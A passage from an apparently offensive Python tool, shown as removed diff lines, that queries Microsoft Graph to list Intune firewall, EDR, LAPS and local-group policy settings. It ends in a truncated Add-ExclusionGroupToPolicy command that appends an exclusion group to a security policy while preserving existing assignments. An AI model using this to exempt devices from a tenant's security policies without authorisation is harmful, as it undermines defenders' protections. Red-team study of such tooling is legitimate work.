Of Successful Connections", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { - "displayName": "Enable Domain Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Domain Profile", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { - "displayName": "Enable Private Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Private Profile", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { - "displayName": "Enable Public Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Public Profile", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { - "displayName": "Object Access Audit Filtering Platform Connection", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { - "displayName": "Object Access Audit Filtering Platform Packet Drop", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", - } - }, - } - - def process_setting(setting, indent=""): - setting_instance = setting.get('settingInstance', {}) - setting_id = setting_instance.get('settingDefinitionId', '') - - if setting_id in settings_map: - display_name = settings_map[setting_id]['displayName'] - print(f"{indent}{display_name} : ", end="") - else: - print(f"{indent}Setting: {setting_id} : ", end="") - - if '@odata.type' in setting_instance: - setting_type = setting_instance['@odata.type'].split('.')[-1] - - if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': - process_choice_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': - process_simple_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': - process_choice_collection_setting(setting_instance, indent) - else: - print(f"Unsupported setting type: {setting_type}") - - def process_choice_setting(setting_instance, indent): - choice_value = setting_instance.get('choiceSettingValue', {}) - value = choice_value.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - print(f"{settings_map[setting_id]['options'][value]}") - else: - print(f"{value}") - - for child in choice_value.get('children', []): - process_setting({'settingInstance': child}, indent + " ") - - def process_simple_setting(setting_instance, indent): - simple_value = setting_instance.get('simpleSettingValue', {}) - value = simple_value.get('value', '') - print(f"{value}") - - def process_choice_collection_setting(setting_instance, indent): - choice_collection = setting_instance.get('choiceSettingCollectionValue', []) - values = [] - for choice in choice_collection: - value = choice.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - values.append(settings_map[setting_id]['options'][value]) - else: - values.append(value) - print(", ".join(values)) - - def print_profile_settings(response_json, profile_type): - print(f"\n{profile_type} Profile Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if profile_type.lower() in setting_id.lower(): - process_setting(setting) - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - print("\nGlobal Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'global' in setting_id.lower(): - process_setting(setting) - - print("\nAudit Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'audit' in setting_id.lower(): - process_setting(setting) - - print_profile_settings(response_json, "Domain") - print_profile_settings(response_json, "Private") - print_profile_settings(response_json, "Public") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # display-firewallrulepolicyrules - actual firewall rules - elif args.command and args.command.lower() == "display-firewallrulepolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") - return - - print_yellow("\n[*] Display-FirewallRulePolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": - for group in setting['settingInstance'].get('groupSettingCollectionValue', []): - rule_name = "" - rule_action = "" - rule_direction = "" - rule_enabled = "" - rule_local_ports = "" - rule_remote_ports = "" - rule_description = "" - rule_interfaces = [] - - for child in group.get('children', []): - setting_def_id = child['settingDefinitionId'] - if setting_def_id.endswith("_name"): - rule_name = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_action_type"): - rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" - elif setting_def_id.endswith("_direction"): - rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" - elif setting_def_id.endswith("_enabled"): - rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" - elif setting_def_id.endswith("_localportranges"): - rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_remoteportranges"): - rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_description"): - rule_description = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_interfacetypes"): - rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] - - rule_interfaces = ", ".join(rule_interfaces) - - print(f"Rule Name : {rule_name}") - print(f"Action : {rule_action}") - print(f"Direction : {rule_direction}") - print(f"Enabled : {rule_enabled}") - print(f"Local Ports : {rule_local_ports}") - print(f"Remote Ports : {rule_remote_ports}") - print(f"Description : {rule_description}") - print(f"Interfaces : {rule_interfaces}") - print() - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-edrpolicyrules - elif args.command and args.command.lower() == "display-edrpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") - return - - print_yellow("\n[*] Display-EDRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01onboard') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - elif value_field.endswith('_onboard'): - print(f"ONBOARD : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-lapsaccountprotectionpolicyrules - elif args.command and args.command.lower() == "display-lapsaccountprotectionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") - return - - print_yellow("\n[*] Display-LAPSAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - "device_vendor_msft_laps_policies_backupdirectory": { - "description": "Backup Directory", - "values": { - "0": "Disabled (password will not be backed up)", - "1": "Backup the password to Azure AD only", - "2": "Backup the password to Active Directory only" - } - }, - "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", - "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", - "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { - "description": "Password Expiration Protection", - "values": { - "0": "Password Expiration Protection Disabled", - "1": "Password Expiration Protection Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { - "description": "AD Password Encryption", - "values": { - "0": "AD Password Encryption Disabled", - "1": "AD Password Encryption Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", - "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", - "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", - "device_vendor_msft_laps_policies_passwordcomplexity": { - "description": "Password Complexity", - "values": { - "1": "Large letters", - "2": "Large letters + small letters", - "3": "Large letters + small letters + numbers", - "4": "Large letters + small letters + numbers + special characters", - "5": "Large letters + small letters + numbers + special characters (improved readability)" - } - }, - "device_vendor_msft_laps_policies_passwordlength": "Password Length", - "device_vendor_msft_laps_policies_postauthenticationactions": { - "description": "Post Authentication Actions", - "values": { - "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", - "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", - "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." - } - }, - "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - setting_instance = setting.get('settingInstance') - setting_def_id = setting_instance.get('settingDefinitionId') - if setting_instance and setting_def_id: - if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": - choice_value = setting_instance.get('choiceSettingValue', {}).get('value') - if choice_value and setting_def_id in settings_map: - setting_text = settings_map[setting_def_id] - if isinstance(setting_text, dict): - setting_description = setting_text.get('description', setting_def_id) - setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) - print(f"{setting_description}: {setting_value}") - else: - print(f"{setting_text}: {choice_value}") - - children = setting_instance.get('choiceSettingValue', {}).get('children', []) - for child in children: - child_def_id = child.get('settingDefinitionId') - if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = child.get('simpleSettingValue', {}).get('value') - if simple_value and child_def_id in settings_map: - mapped_value = settings_map[child_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', child_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - - elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = setting_instance.get('simpleSettingValue', {}).get('value') - if simple_value and setting_def_id in settings_map: - mapped_value = settings_map[setting_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', setting_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-usergroupaccountprotectionpolicyrules - elif args.command and args.command.lower() == "display-usergroupaccountprotectionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") - return - - print_yellow("\n[*] Display-UserGroupAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += f"?$select={args.select}" - - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': get_user_agent(args) - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - settings = response.json().get('value', []) - - local_groups = [] - for setting in settings: - group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) - for group_setting in group_setting_collection: - children = group_setting.get('children', []) - for child in children: - child_children = child.get('groupSettingCollectionValue', []) - for child_child in child_children: - for item in child_child.get('children', []): - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - description = "Users/Groups" if choice_value.endswith("_users") else "Manual" - print(f"User selection type: {description}") - - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - action_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" - } - action = action_map.get(choice_value, choice_value) - print(f"Group and user action: {action}") - - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": - group_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" - } - for choice in item.get('choiceSettingCollectionValue', []): - group = group_map.get(choice.get('value', ''), choice.get('value', '')) - local_groups.append(group) - - if local_groups: - print(f"Local groups: {', '.join(local_groups)}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # get-devicecompliancepolicies - elif args.command and args.command.lower() == "get-devicecompliancepolicies": - print_yellow("\n[*] Get-DeviceCompliancePolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=assignments,scheduledActionsForRule($expand=scheduledActionConfigurations)" - - if args.select: - api_url += "?$select=" + args.select - - try: - output_returned = False - while api_url: - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data and 'value' in filtered_data: - for d in filtered_data.get('value', []): - for key, value in d.items(): - if key == "assignments": - if not value: - print_red("assignments : no assignments") - else: - print_green(f"{key} : {value}") - elif key == "scheduledActionsForRule": - if not value: - print_red("scheduledActionsForRule : no scheduled actions") - else: - print_green(f"{key} : {value}") - else: - print(f"{key} : {value}") - print("\n") - output_returned = True - - api_url = response_body.get("@odata.nextLink") - - if not output_returned: - print_red("[-] No data found") - - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - - print("=" * 80) - - # add-exclusiongrouptopolicy - elif args.command and args.command.lower() == "add-exclusiongrouptopolicy": - if not args.id: - print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") - return - - print_yellow("\n[*] Add-ExclusionGroupToPolicy") - print("=" * 80) - - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" - assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # get the current assignments so we don't mess up day-to-day ops - response = requests.get(assignments_api_url, headers=headers) - if response.ok: - current_assignments = response.json().get('value', []) - else: - print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") - print_red(response.text) - print("=" * 80) - return - - try: - groupid = input("\nEnter Group ID To Exclude: ").strip() - except KeyboardInterrupt: - sys.exit() - - new_assignments = current_assignments + [ - { - "target": { - "@odata.type": 